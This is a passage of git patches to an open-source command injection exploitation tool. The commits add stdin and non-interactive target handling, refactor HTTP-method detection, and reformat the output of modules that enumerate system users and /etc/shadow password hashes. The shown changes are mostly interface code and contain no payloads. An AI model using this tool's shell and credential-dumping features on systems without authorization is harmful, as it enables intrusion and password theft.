common.read_input(message="", default=None, check_batch=True) + cmd = common.read_input(message="", default="os_shell", check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") @@ -599,6 +604,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, raise except EOFError: + if not settings.IS_TTY: + print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) # Delete previous shell (text) files (output) from temp. diff --git a/src/core/main.py b/src/core/main.py index e91ba366c9..584afca196 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -59,6 +59,26 @@ # Use Colorama to make Termcolor work on Windows too :) init() +""" +Check for HTTP Method +""" +def check_http_method(url): + # Check for HTTP Method + if len(settings.HTTP_METHOD) != 0: + http_request_method = settings.HTTP_METHOD.upper() + else: + if not menu.options.data or \ + not settings.WILDCARD_CHAR is None and settings.WILDCARD_CHAR in url or \ + settings.INJECT_TAG in url or \ + [x for x in settings.TEST_PARAMETER if(x + "=" in url and not x in menu.options.data)]: + http_request_method = settings.HTTPMETHOD.GET + else: + http_request_method = settings.HTTPMETHOD.POST + + if menu.options.offline: + settings.CHECK_FOR_UPDATES_ON_START = False + + return http_request_method """ Define HTTP User-Agent header. @@ -67,18 +87,20 @@ def user_agent_header(): # Check if defined "--mobile" option. if menu.options.mobile: if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.random_agent: - err_msg = "The switch '--mobile' is incompatible with option '--user-agent' or switch '--random-agent'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + if not settings.MULTI_TARGETS or settings.IS_TTY: + err_msg = "The switch '--mobile' is incompatible with option '--user-agent' or switch '--random-agent'." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() else: - menu.options.agent = menu.mobile_user_agents() + menu.options.agent = checks.mobile_user_agents() # Check if defined "--random-agent" option. if menu.options.random_agent: if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.mobile: - err_msg = "The switch '--random-agent' is incompatible with option '--user-agent' or switch '--mobile'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + if not settings.MULTI_TARGETS or settings.IS_TTY: + err_msg = "The switch '--random-agent' is incompatible with option '--user-agent' or switch '--mobile'." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() else: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Fetching random HTTP User-Agent header. " @@ -97,7 +119,6 @@ def user_agent_header(): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP User-Agent header." print(settings.print_debug_msg(debug_msg)) - """ Examine the request """ @@ -496,6 +517,7 @@ def main(filename, url): try: filename = "" + # Check if defined "--version" option. if menu.options.version: version.show_version() @@ -549,8 +571,11 @@ def main(filename, url): install.installer() raise SystemExit() + if not sys.stdin.isatty(): + settings.IS_TTY = False + # Check for missing mandatory option(s). - if not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \ + if settings.IS_TTY and not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \ menu.options.requestfile, menu.options.sitemap_url, menu.options.wizard, \ menu.options.update, menu.options.list_tampers, menu.options.purge, menu.options.noncore_dependencies)): err_msg = "Missing a mandatory option (-u, -l, -m, -r, -x, --wizard, --update, --list-tampers, --purge or --dependencies). " @@ -636,7 +661,7 @@ def main(filename, url): print(settings.print_critical_msg(err_msg)) raise SystemExit() - if menu.options.wizard: + if menu.options.wizard and settings.IS_TTY: if not menu.options.url: while True: message = "Please enter full target URL (-u) > " @@ -677,7 +702,7 @@ def main(filename, url): settings.CRAWLING = True # Check arguments - if len(sys.argv) == 1: + if len(sys.argv) == 1 and settings.IS_TTY: menu.parser.print_help() print(settings.SINGLE_WHITESPACE) raise SystemExit() @@ -743,21 +768,6 @@ def main(filename, url): elif menu.options.requestfile or menu.options.logfile: parser.logfile_parser() - # Check for HTTP Method - if len(settings.HTTP_METHOD) != 0: - http_request_method = settings.HTTP_METHOD.upper() - else: - if not menu.options.data or \ - not settings.WILDCARD_CHAR is None and settings.WILDCARD_CHAR in menu.options.url or \ - settings.INJECT_TAG in menu.options.url or \ - [x for x in settings.TEST_PARAMETER if(x + "=" in menu.options.url and not x in menu.options.data)]: - http_request_method = settings.HTTPMETHOD.GET - else: - http_request_method = settings.HTTPMETHOD.POST - - if menu.options.offline: - settings.CHECK_FOR_UPDATES_ON_START = False - # Check if ".git" exists and check for updated version! if os.path.isdir("./.git") and settings.CHECK_FOR_UPDATES_ON_START: update.check_for_update() @@ -768,7 +778,8 @@ def main(filename, url): else: url = menu.options.url - if not menu.options.bulkfile and not settings.CRAWLING: + if settings.IS_TTY and not menu.options.bulkfile and not settings.CRAWLING: + http_request_method = check_http_method(url) if os_checks_num == 0: settings.INIT_TEST = True response, url = url_response(url) @@ -800,9 +811,9 @@ def main(filename, url): print(settings.SINGLE_WHITESPACE) with open(menu.options.bulkfile) as f: bulkfile = [url.strip() for url in f] - + # Check if option "--crawl" is enabled. - if settings.CRAWLING: + if settings.CRAWLING and settings.IS_TTY: settings.CRAWLING_PHASE = True output_href = [] url_num = 1 @@ -821,20 +832,32 @@ def main(filename, url): settings.CRAWLING_PHASE = False else: output_href = [] - output_href = output_href + bulkfile - filename = None + if settings.IS_TTY: + output_href = output_href + bulkfile + filename = None + else: + info_msg = "Using 'stdin' for parsing targets list." + print(settings.print_info_msg(info_msg)) + menu.options.batch = True + bulkfile = sys.stdin + settings.MULTI_TARGETS = True + for line in bulkfile: + if re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I): + output_href.append(line.rstrip()) + # Removing duplicates from list. clean_output_href = [] [clean_output_href.append(x) for x in output_href if x not in clean_output_href] # Removing empty elements from list. clean_output_href = [x for x in clean_output_href if x] - if len(output_href) >= 0: + if len(output_href) >= 0 and settings.IS_TTY: if filename is not None: filename = crawler.store_crawling(output_href) info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "." print(settings.print_info_msg(info_msg)) url_num = 0 for url in clean_output_href: + http_request_method = check_http_method(url) if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url)) or settings.MULTI_TARGETS: url_num += 1 print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py index 79ef2db2af..643403a2b8 100755 --- a/src/core/modules/dns_exfiltration/dns_exfiltration.py +++ b/src/core/modules/dns_exfiltration/dns_exfiltration.py @@ -116,7 +116,7 @@ def input_cmd(dns_server, http_request_method, url, vuln_parameter, technique): if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) - cmd = common.read_input(message="", default=None, check_batch=True) + cmd = common.read_input(message="", default="os_shell", check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: if cmd.lower() == "quit" or cmd.lower() == "back": diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py index 25cfade488..6aa656162e 100755 --- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py +++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py @@ -151,7 +151,7 @@ def input_cmd(http_request_method, url, vuln_parameter, ip_src, technique): if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) - cmd = common.read_input(message="", default=None, check_batch=True) + cmd = common.read_input(message="", default="os_shell", check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: if cmd.lower() == "quit" or cmd.lower() == "back": diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 3a36712620..67b70d2cc4 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -761,7 +761,10 @@ def shellshock_handler(url, http_request_method, filename): if go_back == True: break message = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = common.read_input(message, default="Y", check_batch=True) + if settings.IS_TTY: + gotshell = common.read_input(message, default="Y", check_batch=True) + else: + gotshell = common.read_input(message, default="n", check_batch=True) if gotshell in settings.CHOICE_YES: print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: @@ -771,7 +774,7 @@ def shellshock_handler(url, http_request_method, filename): if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) - cmd = common.read_input(message="", default=None, check_batch=True) + cmd = common.read_input(message="", default="os_shell", check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: @@ -807,6 +810,8 @@ def shellshock_handler(url, http_request_method, filename): raise except EOFError: + if not settings.IS_TTY: + print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise diff --git a/src/utils/common.py b/src/utils/common.py index 78a70cf5ad..99b49c8eef 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -42,12 +42,13 @@ def is_empty(): value = None if "\n" in message: message += ("\n" if message.count("\n") > 1 else "") + elif len(message) == 0: - return _input() + return is_empty() if settings.ANSWERS: if not any(_ in settings.ANSWERS for _ in ",="): - return is_empty() + return is_empty(message, default=None, check_batch=True) else: for item in settings.ANSWERS.split(','): question = item.split('=')[0].strip() diff --git a/src/utils/menu.py b/src/utils/menu.py index ea1e8a080d..76aad531c3 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -708,23 +708,6 @@ def mobile_user_agents(): Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' for Google Pixel". Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' for Xiaomi Mi 3.""") - while True: - message = "Which smartphone do you want to imitate through HTTP User-Agent header? " - mobile_user_agent = common.read_input(message, default=None, check_batch=True) - try: - if int(mobile_user_agent) in range(0,len(settings.MOBILE_USER_AGENT_LIST)): - return settings.MOBILE_USER_AGENT_LIST[int(mobile_user_agent)] - elif mobile_user_agent.lower() == "q": - raise SystemExit() - else: - err_msg = "'" + mobile_user_agent + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - except ValueError: - err_msg = "'" + mobile_user_agent + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - """ The tab compliter (shell options). """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 90f17e1d53..fd2bb7b4ec 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "62" +REVISION = "63" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -382,6 +382,8 @@ def sys_argv_errors(): # Max Length for command execution output. MAXLEN = 10000 +IS_TTY = True + # Maximum response total page size (trimmed if larger) MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024 From 3b9a3862bfc8d81672817b458c711068d2c210cb Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 16 May 2022 08:33:58 +0300 Subject: [PATCH 0140/1023] Minor fixes --- src/core/injections/controller/checks.py | 6 +++--- src/core/injections/controller/controller.py | 2 +- src/core/main.py | 15 ++++++++------- src/utils/menu.py | 1 - src/utils/settings.py | 2 +- 5 files changed, 13 insertions(+), 13 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 92654e0bee..3090764f7d 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -101,7 +101,7 @@ def connection_exceptions(err_msg, url): error_msg = str(err_msg) if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2 and not settings.CRAWLING: print(settings.SINGLE_WHITESPACE) - if "wrong version number" in str(error_msg).lower(): + if any(x in str(error_msg).lower() for x in ["wrong version number", "ssl", "https"]): settings.MAX_RETRIES = 1 error_msg = "Can't establish SSL connection" elif "connection refused" in str(error_msg).lower(): @@ -145,7 +145,7 @@ def connection_exceptions(err_msg, url): _ = " Skipping URL '" + str(url) + "'." if settings.MULTI_TARGETS or settings.CRAWLING: error_msg = error_msg + _ - if len(_) != 0 or (not settings.MULTI_TARGETS and not settings.CRAWLING): + if len(_) != 0 or not settings.MULTI_TARGETS or not settings.CRAWLING: print(settings.print_critical_msg(error_msg)) settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 if settings.MAX_RETRIES > 1: @@ -1109,7 +1109,7 @@ def whitespace_check(payload): # Enable the "multiplespaces" tamper script. count_spaces = payload.count(settings.WHITESPACES[0]) - if count_spaces >= 5: + if count_spaces > 15: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",multiplespaces" else: diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index c96bb88b31..4d280a102c 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -840,7 +840,7 @@ def do_check(url, http_request_method, filename): err_msg += " and/or remove the option '--skip-empty'" err_msg += "." print(settings.print_critical_msg(err_msg)) - + logs.print_logs_notification(filename, url) if not settings.MULTI_TARGETS: print(settings.SINGLE_WHITESPACE) diff --git a/src/core/main.py b/src/core/main.py index 584afca196..32a1f4fb4a 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -63,7 +63,6 @@ Check for HTTP Method """ def check_http_method(url): - # Check for HTTP Method if len(settings.HTTP_METHOD) != 0: http_request_method = settings.HTTP_METHOD.upper() else: @@ -80,6 +79,7 @@ def check_http_method(url): return http_request_method + """ Define HTTP User-Agent header. """ @@ -543,10 +543,10 @@ def main(filename, url): if menu.options.smoke_test: smoke_test() - if not menu.options.batch: + if not settings.IS_TTY or settings.CRAWLING or menu.options.bulkfile: settings.OS_CHECKS_NUM = 1 - for os_checks_num in range(0, int(settings.OS_CHECKS_NUM)): + for os_checks_num in range(0, int(settings.OS_CHECKS_NUM)): # Check if defined "--list-tampers" option. if menu.options.list_tampers: checks.list_tamper_scripts() @@ -832,9 +832,9 @@ def main(filename, url): settings.CRAWLING_PHASE = False else: output_href = [] + filename = None if settings.IS_TTY: output_href = output_href + bulkfile - filename = None else: info_msg = "Using 'stdin' for parsing targets list." print(settings.print_info_msg(info_msg)) @@ -850,21 +850,22 @@ def main(filename, url): [clean_output_href.append(x) for x in output_href if x not in clean_output_href] # Removing empty elements from list. clean_output_href = [x for x in clean_output_href if x] - if len(output_href) >= 0 and settings.IS_TTY: + if len(output_href) != 0 and settings.IS_TTY: if filename is not None: filename = crawler.store_crawling(output_href) info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "." print(settings.print_info_msg(info_msg)) url_num = 0 for url in clean_output_href: - http_request_method = check_http_method(url) + http_request_method = check_http_method(url) if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url)) or settings.MULTI_TARGETS: url_num += 1 print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " message = common.read_input(message, default="Y", check_batch=True) if message in settings.CHOICE_YES: - settings.INIT_TEST = True + if os_checks_num == 0: + settings.INIT_TEST = True if url == clean_output_href[-1]: settings.EOF = True # Reset the injection level diff --git a/src/utils/menu.py b/src/utils/menu.py index 76aad531c3..0ecf8de967 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -19,7 +19,6 @@ from optparse import OptionGroup from optparse import OptionParser from optparse import SUPPRESS_HELP as SUPPRESS -from src.utils import common from src.thirdparty.six.moves import input as _input from src.thirdparty.colorama import Fore, Back, Style, init diff --git a/src/utils/settings.py b/src/utils/settings.py index fd2bb7b4ec..989335bb4e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "63" +REVISION = "64" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From c61ea8b7040a10695a5eff523ee1cf55b773a31c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 17 May 2022 07:32:14 +0300 Subject: [PATCH 0141/1023] Multiple updates --- .../techniques/time_based/tb_enumeration.py | 6 +- .../techniques/classic/cb_enumeration.py | 10 ++-- .../techniques/eval_based/eb_enumeration.py | 10 ++-- .../techniques/file_based/fb_enumeration.py | 10 ++-- .../tempfile_based/tfb_enumeration.py | 8 +-- src/core/modules/shellshock/shellshock.py | 8 +-- src/utils/settings.py | 58 ++++++++++--------- 7 files changed, 57 insertions(+), 53 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 9b58f69a2b..4117841b91 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -410,12 +410,12 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese else : is_privileged = "" is_privileged_nh = "" - sys.stdout.write("\n (" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + sys.stdout.write("\n" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -497,7 +497,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" (" +str(count)+ ") '" + fields[0] + " : " + fields[1]) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + " : " + fields[1]) output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 2eaa747617..dc75d4a03e 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -331,11 +331,11 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method else : is_privileged = "" is_privileged_nh = "" - print(" (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -431,11 +431,11 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method else : is_privileged = "" is_privileged_nh = "" - print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -520,7 +520,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index 6155a8537c..0b2bfb403f 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -334,11 +334,11 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method else : is_privileged = "" is_privileged_nh = "" - print(" (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -432,11 +432,11 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method else : is_privileged = "" is_privileged_nh = "" - print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -522,7 +522,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index 25175bc380..f8d1f4f8eb 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -315,11 +315,11 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h is_privileged_nh = "" # if settings.VERBOSITY_LEVEL != 0: # print(settings.SINGLE_WHITESPACE) - print(" (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -414,11 +414,11 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h else : is_privileged = "" is_privileged_nh = "" - print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -502,7 +502,7 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index 5baeeb5671..b8c34fb284 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -318,7 +318,7 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -413,12 +413,12 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese else : is_privileged = "" is_privileged_nh = "" - sys.stdout.write("\n (" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + sys.stdout.write("\n" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -503,7 +503,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " 